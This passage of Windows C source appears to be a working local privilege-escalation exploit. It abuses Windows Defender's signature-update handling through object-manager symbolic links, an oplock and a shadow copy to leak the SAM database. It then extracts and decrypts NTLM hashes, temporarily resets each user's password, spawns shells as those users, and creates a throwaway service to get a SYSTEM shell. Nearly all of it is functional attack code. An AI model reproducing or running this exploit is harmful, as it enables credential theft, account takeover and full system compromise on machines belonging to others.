printf("ORGetValue failed with error : %d\n", err);
|
|
return false;
|
|
}
|
|
char* samkey = (char*)malloc(valuesz);
|
|
err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz);
|
|
if (err)
|
|
{
|
|
printf("ORGetValue failed with error : %d\n", err);
|
|
return false;
|
|
}
|
|
|
|
ORCloseKey(hkey);
|
|
|
|
///////////////////////////////////////////////////////////
|
|
int passwordEncryptionKeysz = 0;
|
|
char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz);
|
|
|
|
err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey);
|
|
if (err)
|
|
{
|
|
printf("OROpenKey failed with error : %d\n", err);
|
|
return false;
|
|
}
|
|
|
|
|
|
DWORD subkeys = NULL;
|
|
err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
|
if (err)
|
|
{
|
|
printf("ORQueryInfoKey failed with error : %d\n", err);
|
|
return false;
|
|
}
|
|
|
|
|
|
PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys);
|
|
int numofentries = 0;
|
|
for (int i = 0; i < subkeys; i++)
|
|
{
|
|
DWORD keynamesz = 0x100;
|
|
wchar_t keyname[0x100] = { 0 };
|
|
err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL);
|
|
if (err)
|
|
{
|
|
printf("OREnumKey failed with error : %d\n", err);
|
|
return false;
|
|
}
|
|
if (_wcsicmp(keyname, L"users") == 0)
|
|
continue;
|
|
ORHKEY hkey2 = NULL;
|
|
err = OROpenKey(hkey, keyname, &hkey2);
|
|
if (err)
|
|
{
|
|
printf("OROpenKey failed with error : %d\n", err);
|
|
return false;
|
|
}
|
|
DWORD valuesz = 0;
|
|
err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz);
|
|
if (err == ERROR_FILE_NOT_FOUND)
|
|
continue;
|
|
if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) {
|
|
printf("ORGetValue failed with error : %d\n", err);
|
|
return false;
|
|
}
|
|
PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc));
|
|
ZeroMemory(SAMpwd, sizeof(PwdEnc));
|
|
SAMpwd->sz = valuesz;
|
|
SAMpwd->buff = (char*)malloc(valuesz);
|
|
ZeroMemory(SAMpwd->buff, valuesz);
|
|
err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz);
|
|
if (err)
|
|
{
|
|
printf("ORGetValue failed with error : %d\n", err);
|
|
return false;
|
|
}
|
|
SAMpwd->rid = wcstoul(keyname, NULL, 16);
|
|
|
|
ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET];
|
|
SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
|
|
ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET];
|
|
SAMpwd->usernamesz = *usernamesz;
|
|
|
|
ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET];
|
|
SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
|
|
ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET];
|
|
SAMpwd->LMHashLenght = *LMhashsz;
|
|
|
|
ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET];
|
|
SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
|
|
ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET];
|
|
SAMpwd->NTHashLenght = *NThashsz;
|
|
|
|
pwdenclist[i] = SAMpwd;
|
|
numofentries++;
|
|
}
|
|
|
|
|
|
wchar_t currentusername[UNLEN + 1] = { 0 };
|
|
DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t);
|
|
if (!GetUserName(currentusername, &usernamesz))
|
|
{
|
|
printf("Failed to get current user name, error : %d", GetLastError());
|
|
return false;
|
|
}
|
|
|
|
|
|
for (int i = 0; i < numofentries; i++)
|
|
{
|
|
PwdEnc* samentry = pwdenclist[i];
|
|
int realNTLMHashsz = 0;
|
|
char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid);
|
|
char* stringntlm = 0;
|
|
char emptyrepresentation[] = "{NULL}";
|
|
if (realNTLMHashsz)
|
|
{
|
|
stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz);
|
|
}
|
|
else
|
|
{
|
|
|
|
stringntlm = emptyrepresentation;
|
|
}
|
|
wchar_t username[UNLEN + 1] = { 0 };
|
|
if (samentry->usernamesz <= sizeof(username))
|
|
{
|
|
memmove(username, samentry->username, samentry->usernamesz);
|
|
}
|
|
printf("******************************************\n");
|
|
printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm);
|
|
if (realNTLMHash == NULL || realNTLMHashsz == 0) {
|
|
printf(" Skip : NULL NTLM.\n");
|
|
continue;
|
|
}
|
|
if (_wcsicmp(username, currentusername) == 0)
|
|
{
|
|
printf(" Skip : Current User.\n");
|
|
continue;
|
|
}
|
|
if (_wcsicmp(username, L"WDAGUtilityAccount") == 0)
|
|
{
|
|
printf(" Skip : WDAGUtilityAccount detected.\n");
|
|
continue;
|
|
}
|
|
|
|
retval = realNTLMHash;
|
|
|
|
if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM))
|
|
{
|
|
printf(" NewPasswordSet : OK.\n");
|
|
|
|
HANDLE htoken = NULL;
|
|
PSID logonsid = 0;
|
|
if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL))
|
|
{
|
|
printf("LogonUserEx failed, error : %d\n", GetLastError());
|
|
}
|
|
if (!systemshelllaunched) {
|
|
TOKEN_ELEVATION_TYPE tokentype;
|
|
DWORD retsz = 0;
|
|
if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz))
|
|
{
|
|
printf("GetTokenInformation failed with error : %d\n", GetLastError());
|
|
}
|
|
|
|
if (tokentype == TokenElevationTypeLimited)
|
|
{
|
|
TOKEN_LINKED_TOKEN linkedtoken = { 0 };
|
|
|
|
|
|
if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz))
|
|
{
|
|
printf("GetTokenInformation failed with error : %d\n", GetLastError());
|
|
}
|
|
|
|
HANDLE hdup = linkedtoken.LinkedToken;
|
|
|
|
DWORD sidsz = MAX_SID_SIZE;
|
|
PSID administratorssid = malloc(sidsz);
|
|
|
|
if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz))
|
|
{
|
|
printf("Failed to create well known sid, error : %d\n", GetLastError());
|
|
}
|
|
|
|
|
|
|
|
if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin))
|
|
{
|
|
printf("CheckTokenMembership failed with error : %d\n", GetLastError());
|
|
}
|
|
free(administratorssid);
|
|
|
|
CloseHandle(hdup);
|
|
}
|
|
|
|
if (isadmin)
|
|
{
|
|
|
|
|
|
|
|
|
|
printf(" IsAdmin : TRUE\n");
|
|
HANDLE htoken2 = NULL;
|
|
if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL))
|
|
{
|
|
printf("LogonUserEx failed, error : %d\n", GetLastError());
|
|
}
|
|
//SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE);
|
|
const wchar_t sid_string[] = L"S-1-16-8192";
|
|
TOKEN_MANDATORY_LABEL integrity;
|
|
PSID sid = NULL;
|
|
ConvertStringSidToSidW(sid_string, &sid);
|
|
ZeroMemory(&integrity, sizeof(integrity));
|
|
integrity.Label.Attributes = SE_GROUP_INTEGRITY;
|
|
integrity.Label.Sid = sid;
|
|
if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) {
|
|
wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError());
|
|
}
|
|
LocalFree(sid);
|
|
//CloseHandle(htoken2);
|
|
|
|
ImpersonateLoggedOnUser(htoken2);
|
|
|
|
|
|
SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
|
if (!hmgr)
|
|
{
|
|
printf("OpenSCManager failed with error : %d", GetLastError());
|
|
}
|
|
|
|
GUID uid = { 0 };
|
|
RPC_WSTR wuid = { 0 };
|
|
wchar_t* wuid2 = 0;
|
|
|
|
UuidCreate(&uid);
|
|
UuidToStringW(&uid, &wuid);
|
|
wuid2 = (wchar_t*)wuid;
|
|
|
|
wchar_t binpath[MAX_PATH] = { 0 };
|
|
GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH);
|
|
wchar_t servicecmd[MAX_PATH] = { 0 };
|
|
DWORD currentsesid = 0;
|
|
ProcessIdToSessionId(GetCurrentProcessId(), ¤tsesid);
|
|
wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid);
|
|
|
|
SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL);
|
|
if (!hsvc)
|
|
{
|
|
printf("CreateService Failed with error : %d\n", GetLastError());
|
|
}
|
|
else {
|
|
printf(" SYSTEMShell : OK.\n");
|
|
}
|
|
|
|
StartService(hsvc, NULL, NULL);
|
|
Sleep(100);
|
|
DeleteService(hsvc);
|
|
CloseServiceHandle(hsvc);
|
|
CloseServiceHandle(hmgr);
|
|
RevertToSelf();
|
|
CloseHandle(htoken2);
|
|
systemshelllaunched = true;
|
|
}
|
|
else {
|
|
printf(" IsAdmin : FALSE\n");
|
|
}
|
|
|
|
|
|
}
|
|
|
|
STARTUPINFO si = { 0 };
|
|
PROCESS_INFORMATION pi = { 0 };
|
|
if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
|
|
{
|
|
printf(" Shell : Error %d\n", GetLastError());
|
|
}
|
|
else {
|
|
printf(" Shell : OK.\n");
|
|
if (pi.hProcess)
|
|
CloseHandle(pi.hProcess);
|
|
if (pi.hThread)
|
|
CloseHandle(pi.hThread);
|
|
}
|
|
|
|
if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash))
|
|
{
|
|
printf(" PasswordRestore : Error %d\n", GetLastError());
|
|
}
|
|
|
|
else {
|
|
printf(" PasswordRestore : OK.\n");
|
|
}
|
|
CloseHandle(htoken);
|
|
}
|
|
|
|
// __debugbreak();
|
|
|
|
|
|
|
|
}
|
|
|
|
ORCloseHive(hSAMhive);
|
|
printf("******************************************\n");
|
|
free(newNTLM);
|
|
return true;
|
|
|
|
|
|
|
|
}
|
|
|
|
bool IsRunningAsLocalSystem()
|
|
{
|
|
|
|
HANDLE htoken = NULL;
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
|
|
printf("OpenProcessToken failed, error : %d\n", GetLastError());
|
|
return false;
|
|
}
|
|
TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
|
|
DWORD retsz = 0;
|
|
bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
|
|
CloseHandle(htoken);
|
|
if (!res)
|
|
return false;
|
|
|
|
return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
|
|
}
|
|
|
|
void LaunchConsoleInSessionId(DWORD sessionid)
|
|
{
|
|
HANDLE htoken = NULL;
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
|
|
return;
|
|
|
|
SetPrivilege(htoken, SE_TCB_NAME, TRUE);
|
|
SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
|
|
SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE);
|
|
SetPrivilege(htoken, SE_DEBUG_NAME, TRUE);
|
|
|
|
HANDLE hnewtoken = NULL;
|
|
bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
|
|
CloseHandle(htoken);
|
|
if (!res)
|
|
return;
|
|
|
|
res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
|
|
if (!res)
|
|
{
|
|
CloseHandle(hnewtoken);
|
|
return;
|
|
}
|
|
|
|
STARTUPINFO si = { 0 };
|
|
PROCESS_INFORMATION pi = { 0 };
|
|
CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
|
|
|
|
CloseHandle(hnewtoken);
|
|
|
|
if (pi.hProcess)
|
|
CloseHandle(pi.hProcess);
|
|
if (pi.hThread)
|
|
CloseHandle(pi.hThread);
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Exploit shell spawn end
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
int wmain(int argc, wchar_t* argv[])
|
|
{
|
|
|
|
|
|
if (IsRunningAsLocalSystem())
|
|
{
|
|
printf("Running as local system.\n");
|
|
if (argc == 2)
|
|
{
|
|
DWORD sessionid = _wtoi(argv[1]);
|
|
if (sessionid) {
|
|
printf("Session id : %d\n", sessionid);
|
|
LaunchConsoleInSessionId(sessionid);
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
DWORD _sesid = 0;
|
|
ProcessIdToSessionId(GetCurrentProcessId(), &_sesid);
|
|
const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"}
|
|
/*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/
|
|
};
|
|
wchar_t fullvsspath[MAX_PATH] = { 0 };
|
|
HANDLE hreleaseready = NULL;
|
|
wchar_t updtitle[0x200] = { 0 };
|
|
wchar_t targetfile[MAX_PATH] = { 0 };
|
|
wchar_t nttargetfile[MAX_PATH] = { 0 };
|
|
HANDLE htransaction = NULL;
|
|
wchar_t* filestodel[100] = { 0 };
|
|
HINTERNET hint = NULL;
|
|
HINTERNET hint2 = NULL;
|
|
char data[0x1000] = { 0 };
|
|
DWORD index = 0;
|
|
DWORD sz = sizeof(data);
|
|
bool res2 = 0;
|
|
wchar_t filesz[50] = { 0 };
|
|
LARGE_INTEGER li = { 0 };
|
|
GUID uid = { 0 };
|
|
RPC_WSTR wuid = { 0 };
|
|
wchar_t* wuid2 = 0;
|
|
wchar_t envstr[MAX_PATH] = { 0 };
|
|
wchar_t mpampath[MAX_PATH] = { 0 };
|
|
HANDLE hmpap = NULL;
|
|
void* exebuff = NULL;
|
|
DWORD readsz = 0;
|
|
HANDLE hmapping = NULL;
|
|
void* mappedbuff = NULL;
|
|
HRSRC hres = NULL;
|
|
DWORD ressz = NULL;
|
|
HGLOBAL cabbuff = NULL;
|
|
wchar_t cabpath[MAX_PATH] = { 0 };
|
|
wchar_t updatepath[MAX_PATH] = { 0 };
|
|
HANDLE hcab = NULL;
|
|
ERF erfstruct = { 0 };
|
|
HFDI hcabctx = NULL;
|
|
char _updatepath[MAX_PATH] = { 0 };
|
|
bool extractres = false;
|
|
char buff[0x1000] = { 0 };
|
|
DWORD retbytes = 0;
|
|
DWORD tid = 0;
|
|
HANDLE hthread = NULL;
|
|
WDRPCWorkerThreadArgs threadargs = { 0 };
|
|
HANDLE hcurrentthread = NULL;
|
|
HANDLE hdir = NULL;
|
|
wchar_t newdefupdatedirname[MAX_PATH] = { 0 };
|
|
wchar_t updatelibpath[MAX_PATH] = { 0 };
|
|
UNICODE_STRING unistrupdatelibpath = { 0 };
|
|
OBJECT_ATTRIBUTES objattr = { 0 };
|
|
IO_STATUS_BLOCK iostat = { 0 };
|
|
HANDLE hupdatefile = NULL;
|
|
UNICODE_STRING objlinkname = { 0 };
|
|
UNICODE_STRING objlinktarget = { 0 };
|
|
NTSTATUS ntstat = 0;
|
|
OVERLAPPED ovd = { 0 };
|
|
DWORD transfersz = 0;
|
|
wchar_t newname[MAX_PATH] = { 0 };
|
|
DWORD renstructsz = 0;
|
|
|
|
size_t targetsz = 0;
|
|
size_t printnamesz = 0;
|
|
size_t pathbuffersz = 0;
|
|
size_t totalsz = 0;
|
|
REPARSE_DATA_BUFFER* rdb = 0;
|
|
DWORD cb = 0;
|
|
OVERLAPPED ov = { 0 };
|
|
bool ret = false;
|
|
DWORD retsz = 0;
|
|
HANDLE hleakedfile = NULL;
|
|
HANDLE hobjlink = NULL;
|
|
LARGE_INTEGER _filesz = { 0 };
|
|
OVERLAPPED ovd2 = { 0 };
|
|
DWORD __readsz = 0;
|
|
void* leakedfilebuff = 0;
|
|
bool filelocked = false;
|
|
bool needcabcleanup = false;
|
|
bool dirmoved = false;
|
|
bool needupdatedircleanup = false;
|
|
UpdateFiles* UpdateFilesList = NULL;
|
|
UpdateFiles* UpdateFilesListCurrent = NULL;
|
|
bool isvssready = false;
|
|
bool criterr = false;
|
|
HANDLE hobjworkdir = NULL;
|
|
HANDLE hsymlink = NULL;
|
|
wchar_t objdirpath[MAX_PATH] = { 0 };
|
|
try {
|
|
|
|
printf("Checking for windows defender signature updates...\n");
|
|
while (!CheckForWDUpdates(updtitle, &criterr)){
|
|
|
|
if (criterr)
|
|
goto cleanup;
|
|
printf("No updates found for windows defender. Recheking in 30 seconds...\n");
|
|
Sleep(30000);
|
|
|
|
}
|
|
printf("Found Update : \n%ws\n", updtitle);
|
|
|
|
UpdateFilesList = GetUpdateFiles();
|
|
if (!UpdateFilesList)
|
|
{
|
|
goto cleanup;
|
|
}
|
|
printf("Updates downloaded.\n");
|
|
|
|
|
|
printf("Creating VSS copy...\n");
|
|
hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
if (!hreleaseready)
|
|
{
|
|
printf("Failed to create event error : %d\n", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
|
|
|
|
isvssready = TriggerWDForVS(hreleaseready, fullvsspath);
|
|
if (!isvssready)
|
|
goto cleanup;
|
|
|
|
for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++)
|
|
{
|
|
ZeroMemory(objdirpath, sizeof(objdirpath));
|
|
UpdateFilesListCurrent = UpdateFilesList;
|
|
UuidCreate(&uid);
|
|
UuidToStringW(&uid, &wuid);
|
|
wuid2 = (wchar_t*)wuid;
|
|
wcscpy(envstr, L"%TEMP%\\");
|
|
wcscat(envstr, wuid2);
|
|
|
|
{
|
|
|
|
OBJECT_ATTRIBUTES ndirobjattr = { 0 };
|
|
UNICODE_STRING objdirunistr = { 0 };
|
|
|
|
|
|
wnsprintf(objdirpath, MAX_PATH, L"\\Sessions\\%d\\BaseNamedObjects\\%s", _sesid, wuid2);
|
|
RtlInitUnicodeString(&objdirunistr, objdirpath);
|
|
InitializeObjectAttributes(&ndirobjattr, &objdirunistr, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
ntstat = _NtCreateDirectoryObjectEx(&hobjworkdir, GENERIC_ALL, &ndirobjattr,NULL,NULL);
|
|
if (ntstat)
|
|
{
|
|
printf("NtCreateDirectoryObjectEx Failed : 0x%0.8X\n", ntstat);
|
|
goto cleanup;
|
|
}
|
|
}
|
|
|
|
|
|
ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH);
|
|
needupdatedircleanup = CreateDirectory(updatepath, NULL);
|
|
if (!needupdatedircleanup)
|
|
{
|
|
printf("Failed to create update directory, error : %d", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
printf("Created update directory %ws\n", updatepath);
|
|
|
|
{
|
|
UNICODE_STRING _unisrc = { 0 };
|
|
RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
|
|
OBJECT_ATTRIBUTES _smobjattr = { 0 };
|
|
InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
|
|
UNICODE_STRING _unidest = { 0 };
|
|
wchar_t unidest[MAX_PATH] = { 0 };
|
|
wcscpy(unidest, L"\\??\\");
|
|
wcscat(unidest, updatepath);
|
|
RtlInitUnicodeString(&_unidest, unidest);
|
|
ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
|
|
if (ntstat)
|
|
{
|
|
printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
|
|
goto cleanup;
|
|
}
|
|
}
|
|
|
|
while (UpdateFilesListCurrent)
|
|
{
|
|
wchar_t filepath[MAX_PATH] = { 0 };
|
|
wchar_t filename[MAX_PATH] = { 0 };
|
|
wcscpy(filepath, updatepath);
|
|
wcscat(filepath, L"\\");
|
|
MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, filename, MAX_PATH);
|
|
wcscat(filepath, filename);
|
|
|
|
HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL);
|
|
|
|
if (!hupdate || hupdate == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("Failed to create update file, error : %d", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
UpdateFilesListCurrent->filecreated = true;
|
|
DWORD writtenbytes = 0;
|
|
if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL))
|
|
{
|
|
printf("Failed to write update file, error : %d", GetLastError());
|
|
CloseHandle(hupdate);
|
|
goto cleanup;
|
|
}
|
|
CloseHandle(hupdate);
|
|
printf("Created update file : %ws\n", filepath);
|
|
UpdateFilesListCurrent = UpdateFilesListCurrent->next;
|
|
|
|
}
|
|
|
|
hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL);
|
|
if (!hdir || hdir == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("Failed to open definition updates directory, error : %d", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
|
|
hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId());
|
|
if (!hcurrentthread)
|
|
{
|
|
printf("Unexpected error while opening current thread, error : %d", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
wchar_t thrdupdpath[MAX_PATH] = { 0 };
|
|
wsprintf(thrdupdpath, L"\\\\?\\GLOBALROOT\\Sessions\\%d\\BaseNamedObjects\\%s\\WDUpdateDirectory", _sesid, wuid2);
|
|
threadargs.dirpath = thrdupdpath;
|
|
threadargs.hntfythread = hcurrentthread;
|
|
threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid);
|
|
|
|
printf("Waiting for windows defender to create a new definition update directory...\n");
|
|
wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\");
|
|
do {
|
|
ZeroMemory(buff, sizeof(buff));
|
|
OVERLAPPED od = { 0 };
|
|
od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL);
|
|
HANDLE events[2] = { od.hEvent, threadargs.hevent };
|
|
if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0)
|
|
{
|
|
printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res);
|
|
goto cleanup;
|
|
}
|
|
CloseHandle(od.hEvent);
|
|
|
|
PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;
|
|
if (pfni->Action != FILE_ACTION_ADDED)
|
|
continue;
|
|
|
|
wcscat(newdefupdatedirname, pfni->FileName);
|
|
break;
|
|
} while (1);
|
|
printf("Detected new definition update directory in %ws\n", newdefupdatedirname);
|
|
|
|
wcscpy(updatelibpath, L"\\??\\");
|
|
wcscat(updatelibpath, updatepath);
|
|
wcscat(updatelibpath, L"\\mpasbase.vdm");
|
|
|
|
RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath);
|
|
InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
|
|
if (ntstat)
|
|
{
|
|
printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat);
|
|
goto cleanup;
|
|
}
|
|
printf("Setting oplock on %ws\n", updatelibpath);
|
|
|
|
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
|
|
|
|
if (GetLastError() != ERROR_IO_PENDING)
|
|
{
|
|
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
printf("Waiting for oplock to trigger...\n");
|
|
GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE);
|
|
printf("oplock triggered !\n");
|
|
|
|
CloseHandle(hsymlink);
|
|
|
|
|
|
|
|
{
|
|
UNICODE_STRING _unisrc = { 0 };
|
|
RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
|
|
OBJECT_ATTRIBUTES _smobjattr = { 0 };
|
|
InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
|
|
UNICODE_STRING _unidest = { 0 };
|
|
RtlInitUnicodeString(&_unidest, objdirpath);
|
|
ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
|
|
if (ntstat)
|
|
{
|
|
printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
|
|
goto cleanup;
|
|
}
|
|
|
|
RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm");
|
|
ZeroMemory(nttargetfile, sizeof(nttargetfile));
|
|
wcscpy(nttargetfile, fullvsspath);
|
|
wcscat(nttargetfile, filestoleak[x]);
|
|
RtlInitUnicodeString(&objlinktarget, nttargetfile);
|
|
InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
|
|
|
|
ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget);
|
|
if (ntstat)
|
|
{
|
|
printf("Failed to create object manager symbolic link, error : 0x%0.8X\n", ntstat);
|
|
goto cleanup;
|
|
}
|
|
|
|
}
|
|
|
|
|
|
CloseHandle(ov.hEvent);
|
|
ov.hEvent = NULL;
|
|
CloseHandle(ovd.hEvent);
|
|
ovd.hEvent = NULL;
|
|
CloseHandle(hupdatefile);
|
|
hupdatefile = NULL;
|
|
|
|
|
|
wcscat(newdefupdatedirname, L"\\mpasbase.vdm");
|
|
|
|
htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE, NULL, NULL, NULL, NULL);
|
|
if (!htransaction)
|
|
{
|
|
printf("Failed to open leaked file.\n");
|
|
goto cleanup;
|
|
}
|
|
do {
|
|
hleakedfile = CreateFileTransacted(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htransaction,NULL,NULL);
|
|
} while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile);
|
|
printf("Leaked file opened %ws\n", newdefupdatedirname);
|
|
|
|
|
|
CloseHandle(hdir);
|
|
hdir = NULL;
|
|
CloseHandle(hobjlink);
|
|
hobjlink = NULL;
|
|
printf("Exploit succeeded.\n");
|
|
SetEvent(hreleaseready);
|
|
|
|
|
|
DoSpawnShellAsAllUsers(hleakedfile);
|
|
CloseHandle(hleakedfile);
|
|
hleakedfile = NULL;
|
|
RollbackTransaction(htransaction);
|
|
CloseHandle(htransaction);
|
|
htransaction = NULL;
|
|
WaitForSingleObject(hthread, INFINITE);
|
|
CloseHandle(hthread);
|
|
hthread = NULL;
|
|
|
|
|
|
|
|
